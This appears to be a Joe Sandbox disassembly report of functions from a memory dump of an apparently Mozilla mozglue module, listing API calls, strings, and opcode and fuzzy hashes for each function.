GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA93492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA9350E
__Init_thread_footer.LIBCMT ref: 6CA93522
__aulldiv.LIBCMT ref: 6CA93552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA9357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA93592

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

Strings

kernel32.dll, xrefs: 6CA934EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA93508

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b5b4ad6c16d55ba135209ad6b8eed46d8d62fcf6019b96d4dfaf3f249637755f
Instruction ID: 266d4ff1f9b3dd9d7f0d16a33b323fa58d64ae7df8494ce3d0e84db702e90f59
Opcode Fuzzy Hash: b5b4ad6c16d55ba135209ad6b8eed46d8d62fcf6019b96d4dfaf3f249637755f
Instruction Fuzzy Hash: A431D1B5B012099FDF04DFB9C94AAAE77B9FB49314F104419E545E3B50DB30A944CB61

Function 6CAF4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAF4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4F2E
moz_xmalloc.MOZGLUE ref: 6CAF4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAF4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF52E6
Sleep.KERNEL32(00000010), ref: 6CAF5481
free.MOZGLUE(?), ref: 6CAF5498

Strings

(, xrefs: 6CAF5250

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: b4c11718b1075f2059fc9a686a859cf2df3f006b6d48116c9e5a25fdd136271d
Instruction ID: 0bd85bd22437f83bb314d33273941d3e69960c2e1a166445f7613a82a3a9dd00
Opcode Fuzzy Hash: b4c11718b1075f2059fc9a686a859cf2df3f006b6d48116c9e5a25fdd136271d
Instruction Fuzzy Hash: 6CF1D171A18B408FC716CF38C85162BB7FAAFD6284F05872EF856A7651DB31D846CB81

Function 6CAF5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CAF6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CAF6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA9EE51,?), ref: 6CAF6046
OutputDebugStringA.KERNEL32(?,6CA9EE51,?), ref: 6CAF6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAF6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAF6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAF6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB1148E), ref: 6CAF6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA9EE51,00000000,?), ref: 6CAF60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAF60C4

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 5a1960a7244c051db4b99c93e5c43bde46b1f3e3a1a0df8c64657a90638dfcf1
Instruction ID: 379bd2cb2970423fffb03772eaeb6b1dbc2611377f6891d0762afe68e08c70ab
Opcode Fuzzy Hash: 5a1960a7244c051db4b99c93e5c43bde46b1f3e3a1a0df8c64657a90638dfcf1
Instruction Fuzzy Hash: 4E21B5B1A002089FDF105F24DC0AAAE7BBCFF45218F148428E85AD7741CB75A549CFD2

Function 6CAB9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAB9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CAB9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CABA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CABA8B1, 6CABA8D4, 6CABA8EF

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 50ad6dc6ec818415700abc4b9470b1456379bcb8b9c17a9acc8a9acf18035679
Instruction ID: 34a5d2e6b15bd78f5e4733891edc11246e1566a01a645fe73eeca5328ad3b1c3
Opcode Fuzzy Hash: 50ad6dc6ec818415700abc4b9470b1456379bcb8b9c17a9acc8a9acf18035679
Instruction Fuzzy Hash: 89725A72A157118FD314CF28C540615FBE6BF89728F29C66DE869AB7A1D335EC81CB80

Function 6CABC0E0 Relevance: 13.0, APIs: 4, Strings: 3, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CABC317
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CABD793
MOZ_CRASH(), xrefs: 6CABD4BB

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 0-4103629803
Opcode ID: 9d66b02c8fd46c5730027189870220617b12035656c092db5507f51fb0fda668
Instruction ID: 7a067a04cd10ab4c0d61a1aa61d9e30fab8806ad59a1c5a673f985331abc8025
Opcode Fuzzy Hash: 9d66b02c8fd46c5730027189870220617b12035656c092db5507f51fb0fda668
Instruction Fuzzy Hash: DA52F630B083418FD714DF18C460BAAB7F6FB86318F18891DE9DAA7B95D7359885CB42

Function 6CAE2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAE2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAE2C61

Part of subcall function 6CA94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
Part of subcall function 6CA94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAE2E2D

Part of subcall function 6CAA81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAA81DE

Strings

(root), xrefs: 6CAE354F
ProfileBuffer parse error: %s, xrefs: 6CAE2E3B
expected a Time entry, xrefs: 6CAE2E36

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6da16e2bdd0563a948abd63b35a2eae976157922b6ececd875c26fd8573f78c6
Instruction ID: a008e88681082356376248f12268064061907e8001a026f8c31b758762101c98
Opcode Fuzzy Hash: 6da16e2bdd0563a948abd63b35a2eae976157922b6ececd875c26fd8573f78c6
Instruction Fuzzy Hash: 3391D1706087818FC724CF28C49569FBBF5AFC9358F144A1DE59A87B90DB30D989CB92

Function 6CA9BEF0 Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA9C1CB
__aulldiv.LIBCMT ref: 6CA9C24C
__aulldiv.LIBCMT ref: 6CA9C348
__aullrem.LIBCMT ref: 6CA9C365
__aulldiv.LIBCMT ref: 6CA9C37D

Strings

upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CA9BF11, 6CA9BF1C

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID: upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 2022606265-3917454776
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 77a4ff7cc33bcb87a0a5255793a4827f228ee4b9e1813a13d544364d53f3f2fd
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 11324532B14A118FC718DE2CC891A56BBE6AFC9314F09867DE899CB395D730ED05CB91

Function 6CAF9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAF9F3D
__aulldiv.LIBCMT ref: 6CAF9F77
__aullrem.LIBCMT ref: 6CAF9F8C
__aulldiv.LIBCMT ref: 6CAFA023

Strings

NaN, xrefs: 6CAF9EAB
-Infinity, xrefs: 6CAF9E60, 6CAF9E7B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 59ca86153101537c39e2efeda0471998cb758c7dfda7358de744f0f93d657b6c
Instruction ID: 9ebcbb7b31c84be51246e1883e2d1e9e36bfc35aef4648a0c956c4ae61f30be8
Opcode Fuzzy Hash: 59ca86153101537c39e2efeda0471998cb758c7dfda7358de744f0f93d657b6c
Instruction Fuzzy Hash: F7C1AF31F043188BDB14CFA9C8507DEB7B6BF84714F194529E426ABB80D771AD8ACB91

Function 6CA9D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6CA9DA88
8, xrefs: 6CA9DC08
0, xrefs: 6CA9D852
1, xrefs: 6CA9DBDD
0, xrefs: 6CA9DC7F
9, xrefs: 6CA9DE7F
-, xrefs: 6CA9D7DD
@, xrefs: 6CA9DAF6

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: abde715127edede73f143170987bad88805ff48b0455270304051687d7b68114
Instruction ID: 26b66cb93819678ce51e7b3785c98241d4fdf2c2285cab1a313c3696356d20e5
Opcode Fuzzy Hash: abde715127edede73f143170987bad88805ff48b0455270304051687d7b68114
Instruction Fuzzy Hash: B962BE71A2C3858FD701CF29C09275EBBF2AF86358F184A1DE4E54BA91C33599C5CB82

Function 6CAA9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CAAA100
9, xrefs: 6CAAA5D6
' , xrefs: 6CAAA3D8
1, xrefs: 6CAAA824
0, xrefs: 6CAAAB22
@, xrefs: 6CAAA625

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 6bbbbe5ed11d940c2467ddccb6f1d303ccb56639323958c703023aaa9ecc9a8c
Instruction ID: 878276374b81144314a7ff6745b6ef809fe1e5c17b5f8eb94a92096476d933a8
Opcode Fuzzy Hash: 6bbbbe5ed11d940c2467ddccb6f1d303ccb56639323958c703023aaa9ecc9a8c
Instruction Fuzzy Hash: 1E82CE315093159FD7118E8AC08036EB7E3EB85748F598A2EE8D547A90D3359CCBCF92

Function 6CAB4640 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CAB4777

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB4746
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB474F, 6CAB4797, 6CAB479E
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAB5585, 6CAB55A8, 6CAB55C3, 6CAB5624

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 4275171209-2790966788
Opcode ID: ba9965d71df0636b998a2734cf7377e0df78a700d3c4a8db240e52817f256af2
Instruction ID: cfec568c880dc4e32ca1eb24682084d350c936008d61fb60bac00be70db22938
Opcode Fuzzy Hash: ba9965d71df0636b998a2734cf7377e0df78a700d3c4a8db240e52817f256af2
Instruction Fuzzy Hash: B8B27C71A05A018FD708CF28C590615BBE6BFC5328F2DC76DE46A9B7A5D771E881CB80

Function 6CB0545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB08A4B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2a30d1b43d4e3bfd7d403268552abe489839beb3b0cff93f9b7ebbffebaf5804
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 82B1D672F0125A8FDB24CF68CC917ADBBB2EF85314F1402A9C549DBB91D7309989CB91

Function 6CB0542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB0925C

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: cd93a67d0b416ecb251cd82e35879e20cb312a669b89762f24ac6478e98ce777
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 66B1C572F0124ACBCB14CE58CC816EDBBB2EF85314F150279C549DBB95D731AA89CB91

Function 6CB050C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB08E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB0925C

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: f2753051e51b49b0198e45b3345c0d782ce70fa65c4aad8f117bfee0be44e914
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 25A1D672F001568BCB14CE68CC8079DBBB2EF85314F1542B9C949DB785D730A999CB91

Function 6CAE77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAE7A93

Part of subcall function 6CAB5C50: GetTickCount64.KERNEL32 ref: 6CAB5D40
Part of subcall function 6CAB5C50: EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAE7AA1

Part of subcall function 6CAB5C50: __aulldiv.LIBCMT ref: 6CAB5DB4
Part of subcall function 6CAB5C50: LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CAE7B31

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

